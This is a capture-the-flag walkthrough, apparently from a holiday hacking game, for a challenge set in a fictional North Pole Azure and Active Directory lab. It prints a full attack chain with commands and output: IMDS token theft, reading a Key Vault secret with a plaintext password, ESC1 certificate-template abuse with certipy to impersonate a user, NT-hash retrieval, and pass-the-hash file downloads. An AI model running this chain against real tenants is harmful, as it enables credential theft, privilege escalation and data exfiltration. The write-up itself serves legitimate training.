1200
๐ Active Directory ๐๐๐๐
๐ Objective: Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. Whatโs the name of the secret file in the inaccessible folder on the FileShare?
โต Destination: Steampunk Island (Coggoggle Marina)
โ๏ธ Solution: InstructionsForEnteringSatelliteGroundStation.txt
- โ๏ธ Sail west on
Steampunk Island
to reachCoggoggle Marina
- โ๏ธ Head east to find and talk to
Ribb Bonbowford
- โ๏ธ Connect back into the
Azure environment
using theSSH keys
created to authenticate asAlabaster
fromCertificate SSHenanigans
- โ๏ธ Use the Azure
REST API
to generate anAuthorization
token formanagement.azure.com
and enumerate available resource API endpoints - โ๏ธ Use the Azure
REST API
to generate anAuthorization
token forvault.azure.net
and access the secrettmpAddUserScript
withinnorthpole-it-kv
- โ๏ธ Use
GetADUsers.py
and retrieved user credentials to enumerate accounts in the domain - โ๏ธ Use
certipy
and retrieved user credentials to locate a vulnerable certificate template - โ๏ธ Use
certipy
to generate a certificate with the UPN[email protected]
and use it to obtainwombleycube
โs hash - โ๏ธ Use
smbclient.py
to authenticate aswombleycube
and access thesuper_secret_research
share
๐ฌ Ribb Bonbowford Conversation:
Hello, I'm Ribb Bonbowford. Nice to meet you!
Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.
Don't get me wrong, I'm all for testing new technologies. The problem is that Alabaster didn't review the generated code and used the Geese Islands Azure production environment for his testing.
I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.
I'd love for you to help with auditing our Azure and Active Directory configuration and ensure there's no way to access the research department's data.
Since you have access to Alabaster's SSH account that means you're already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.
๐ก Breakdown:
Sail west on Steampunk Island
to reach Coggoggle Marina
. Head east to find Ribb Bonbowford
.
Talk to him to reveal the challenge takes place after SSHenanigans
and involves getting the name of the secret file
in the inaccessible folder on a file share
. Connect back into the Azure environment
as alabaster
.
alabaster@ssh-server-vm:~/impacket$ ssh -i /root/Desktop/Kringlecon2023/.ssh/certificate2.pub -i /root/Desktop/Kringlecon2023/.ssh/id_rsa [email protected]
Request an Authorization
token from the Azure IMDS
.
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s|jq
Using the Authorization
token with curl
and the resources
REST API
endpoint, enumerate available resources.
alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTc1NTAsIm5iZiI6MTcwMjA5NzU1MCwiZXhwIjoxNzAyMTg0MjUwLCJhaW8iOiJFMlZnWUZoOXltMEhxOFA2YnBHNks0ZEREZXZuQWdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJ2U1kxZHlCLTNrYTFkTWdwM01jbEFBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.g8UbmkwRY-LenQHSV5WrUDXoAMBxV7n9mIlYuHgprTOvWI1QLFj3Kvlll2zKEL_khCFJCJGyzu-18fLpzIgR6wtM0yZbeIaI87j_vhB6zxf78ri8DqauQCCTCJEfr-TR5fvkJvGv2AE_639mRrd0cWYgX8TyZK1F6c6Ax5LtmnR1ADuvlDi3oD5LRo_jD2D_KE0dTXwsrl_fsHXJ5bRegIlY3q0nizkEgM00R6_WMtHaApjHFlqYfGTAZHuvEctAH0jWeksL6onOKwVvMaVg5TkhcgCE3qRhy_cFe7R68u8HKqnpvDgKN7g6QAjMTgvJBJSC9OUFfI8MTjKs6WetYg" --noproxy "*" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version=2023-07-01"| jq
{
"value": [
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
"name": "northpole-ssh-certs-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {}
}
]
}
Gather more information on the URI tied to the for northpole-it-kv
vault.
alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTc1NTAsIm5iZiI6MTcwMjA5NzU1MCwiZXhwIjoxNzAyMTg0MjUwLCJhaW8iOiJFMlZnWUZoOXltMEhxOFA2YnBHNks0ZEREZXZuQWdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJ2U1kxZHlCLTNrYTFkTWdwM01jbEFBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.g8UbmkwRY-LenQHSV5WrUDXoAMBxV7n9mIlYuHgprTOvWI1QLFj3Kvlll2zKEL_khCFJCJGyzu-18fLpzIgR6wtM0yZbeIaI87j_vhB6zxf78ri8DqauQCCTCJEfr-TR5fvkJvGv2AE_639mRrd0cWYgX8TyZK1F6c6Ax5LtmnR1ADuvlDi3oD5LRo_jD2D_KE0dTXwsrl_fsHXJ5bRegIlY3q0nizkEgM00R6_WMtHaApjHFlqYfGTAZHuvEctAH0jWeksL6onOKwVvMaVg5TkhcgCE3qRhy_cFe7R68u8HKqnpvDgKN7g6QAjMTgvJBJSC9OUFfI8MTjKs6WetYg" --noproxy "*" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2023-07-01"| jq
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"systemData": {
"createdBy": "[email protected]",
"createdByType": "User",
"createdAt": "2023-10-30T13:17:02.532Z",
"lastModifiedBy": "[email protected]",
"lastModifiedByType": "User",
"lastModifiedAt": "2023-10-30T13:17:02.532Z"
},
"properties": {
"sku": {
"family": "A",
"name": "Standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [],
"enabledForDeployment": false,
"enabledForDiskEncryption": false,
"enabledForTemplateDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"enableRbacAuthorization": true,
"vaultUri": "https://northpole-it-kv.vault.azure.net/",
"provisioningState": "Succeeded",
"publicNetworkAccess": "Enabled"
}
}
Request a new Authorization
token for vault.azure.net
.
alabaster@ssh-server-vm:~/impacket$ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net' -H Metadata:true -s|jq
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTg0NTQsIm5iZiI6MTcwMjA5ODQ1NCwiZXhwIjoxNzAyMTg1MTU0LCJhaW8iOiJFMlZnWUhqYThTRkc1WSt5RTA5NTRxUVVUNzhBQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiWWVkcG93TkRyRXVqQ0FLNkpFYUlBQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.qeJLnMeeuSEC8dSBiuh_pgILTxIygvRuDIoRsCpaQzGD9oMQ8eGCT1R4DjoGpqhapIjQ3Xb9_T0dp3YcDVujJ880mXGSKtdsl_PF5D7Z-ZmWlNGP70DCUFwpjY-KktVHm6L4x6jUBOx1gz8QyFvqTdx9IGPXIWr7ro4_Bn2LQF2rreMrY5L2lTS-RIIJWf0z0OAjP6zqKGwbbeTNB2p9dDrfaE9vSaVStt2-pzvB6onmlilVl1USTQ6iaDWqvutrP8pdRQs4h3FGr_jQ-sV58_hIhgvanXQ9FTnOdAEHQRHabHjPnlqKi_658iKHmdtgV9X0zCjg0dr8pOzMEnzDrw",
"client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
"expires_in": "84498",
"expires_on": "1702185154",
"ext_expires_in": "86399",
"not_before": "1702098454",
"resource": "https://vault.azure.net",
"token_type": "Bearer"
}
Using the secrets
REST API
endpoint, enumerate the tmpAddUserScript
secret.
alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTg0NTQsIm5iZiI6MTcwMjA5ODQ1NCwiZXhwIjoxNzAyMTg1MTU0LCJhaW8iOiJFMlZnWUhqYThTRkc1WSt5RTA5NTRxUVVUNzhBQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiWWVkcG93TkRyRXVqQ0FLNkpFYUlBQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.qeJLnMeeuSEC8dSBiuh_pgILTxIygvRuDIoRsCpaQzGD9oMQ8eGCT1R4DjoGpqhapIjQ3Xb9_T0dp3YcDVujJ880mXGSKtdsl_PF5D7Z-ZmWlNGP70DCUFwpjY-KktVHm6L4x6jUBOx1gz8QyFvqTdx9IGPXIWr7ro4_Bn2LQF2rreMrY5L2lTS-RIIJWf0z0OAjP6zqKGwbbeTNB2p9dDrfaE9vSaVStt2-pzvB6onmlilVl1USTQ6iaDWqvutrP8pdRQs4h3FGr_jQ-sV58_hIhgvanXQ9FTnOdAEHQRHabHjPnlqKi_658iKHmdtgV9X0zCjg0dr8pOzMEnzDrw" "https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4"|jq .
{
"value": [
{
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
],
"nextLink": null
}
View the tmpAddUserScript
secret to reveal user credentials.
alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTg0NTQsIm5iZiI6MTcwMjA5ODQ1NCwiZXhwIjoxNzAyMTg1MTU0LCJhaW8iOiJFMlZnWUhqYThTRkc1WSt5RTA5NTRxUVVUNzhBQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiWWVkcG93TkRyRXVqQ0FLNkpFYUlBQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.qeJLnMeeuSEC8dSBiuh_pgILTxIygvRuDIoRsCpaQzGD9oMQ8eGCT1R4DjoGpqhapIjQ3Xb9_T0dp3YcDVujJ880mXGSKtdsl_PF5D7Z-ZmWlNGP70DCUFwpjY-KktVHm6L4x6jUBOx1gz8QyFvqTdx9IGPXIWr7ro4_Bn2LQF2rreMrY5L2lTS-RIIJWf0z0OAjP6zqKGwbbeTNB2p9dDrfaE9vSaVStt2-pzvB6onmlilVl1USTQ6iaDWqvutrP8pdRQs4h3FGr_jQ-sV58_hIhgvanXQ9FTnOdAEHQRHabHjPnlqKi_658iKHmdtgV9X0zCjg0dr8pOzMEnzDrw" "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.4"|jq .
{
"value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
Using the credentials and Impacketโs GetADUsers.py
script, authenticate to the domain controller (DC) and enumerate users in the domain.
alabaster@ssh-server-vm:~/impacket$ GetADUsers.py -all northpole.local/elfy:J4\`ufC49/J4766 -dc-ip 10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Querying 10.0.0.53 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
alabaster 2023-12-10 01:03:20.201036 2023-12-10 17:47:02.203449
Guest <never> <never>
krbtgt 2023-12-10 01:10:48.599596 <never>
elfy 2023-12-10 01:12:50.495758 2023-12-10 20:05:38.730639
wombleycube 2023-12-10 01:12:50.605198 2023-12-10 23:44:14.499038
Given wombleycube
is the only other domain user outside of default accounts, target this user. Using certipy
look for any vulnerable certificate templates
which could be abused.
alabaster@ssh-server-vm:~/impacket$ certipy find -vulnerable -u elfy -p J4\`ufC49/J4766 -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231210234835_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231210234835_Certipy.txt'
[*] Saved JSON output to '20231210234835_Certipy.json'
alabaster@ssh-server-vm:~/impacket$ cat 20231210234835_Certipy.json
{
"Certificate Authorities": {
"0": {
"CA Name": "northpole-npdc01-CA",
"DNS Name": "npdc01.northpole.local",
"Certificate Subject": "CN=northpole-npdc01-CA, DC=northpole, DC=local",
"Certificate Serial Number": "4275343F32DA99874CCB74F06E5CD532",
"Certificate Validity Start": "2023-12-10 01:05:33+00:00",
"Certificate Validity End": "2028-12-10 01:15:33+00:00",
"Web Enrollment": "Disabled",
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Permissions": {
"Owner": "NORTHPOLE.LOCAL\\Administrators",
"Access Rights": {
"2": [
"NORTHPOLE.LOCAL\\Administrators",
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Enterprise Admins"
],
"1": [
"NORTHPOLE.LOCAL\\Administrators",
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Enterprise Admins"
],
"512": [
"NORTHPOLE.LOCAL\\Authenticated Users"
]
}
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "NorthPoleUsers",
"Display Name": "NorthPoleUsers",
"Certificate Authorities": [
"northpole-npdc01-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
"EnrolleeSuppliesSubject"
],
"Enrollment Flag": [
"PublishToDs",
"IncludeSymmetricAlgorithms"
],
"Private Key Flag": [
"ExportableKey"
],
"Extended Key Usage": [
"Encrypting File System",
"Secure Email",
"Client Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "1 year",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Domain Users",
"NORTHPOLE.LOCAL\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "NORTHPOLE.LOCAL\\Enterprise Admins",
"Write Owner Principals": [
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Enterprise Admins"
],
"Write Dacl Principals": [
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Enterprise Admins"
],
"Write Property Principals": [
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Enterprise Admins"
]
}
},
"[!] Vulnerabilities": {
"ESC1": "'NORTHPOLE.LOCAL\\\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication"
}
}
}
}
This reveals a certificate template NorthPoleUsers
that is vulnerable to ESC1 - Misconfigured Certificate Templates Allows requesters to specify a SAN. Modifying the syntax of certipy
slightly, use the previously obtained valid credentials to request a certificate for the principal name [email protected]
that will allow authentication as that user.
alabaster@ssh-server-vm:~/impacket$ certipy req -u 'elfy' -ca northpole-npdc01-CA -template 'NorthPoleUsers' -upn '[email protected]' -target 10.0.0.53 -p J4\`ufC49/J4766
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 90
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'
Using certipy
authenticate as [email protected]
to obtain the NT user hash
.
alabaster@ssh-server-vm:~/impacket$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
Using smbclient.py
connect to the file share (also located on the DC) as wombleycube
.
Exfiltrate all files for intelligence purposes.
smbclient.py northpole/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
# use FileShare
# ls
drw-rw-rw- 0 Sun Dec 10 01:13:44 2023 .
drw-rw-rw- 0 Sun Dec 10 01:13:41 2023 ..
-rw-rw-rw- 701028 Sun Dec 10 01:13:44 2023 Cookies.pdf
-rw-rw-rw- 1521650 Sun Dec 10 01:13:44 2023 Cookies_Recipe.pdf
-rw-rw-rw- 54096 Sun Dec 10 01:13:44 2023 SignatureCookies.pdf
drw-rw-rw- 0 Sun Dec 10 01:13:44 2023 super_secret_research
-rw-rw-rw- 165 Sun Dec 10 01:13:44 2023 todo.txt
# mget *
[*] Downloading Cookies.pdf
[*] Downloading Cookies_Recipe.pdf
[*] Downloading SignatureCookies.pdf
[*] Downloading todo.txt
# exit
This includes retrieving the file named InstructionsForEnteringSatelliteGroundStation.txt
which is the answer.
The file itself will be required for the following challenge and needs to be examined.
mget *
[*] Downloading InstructionsForEnteringSatelliteGroundStation.txt
# exit
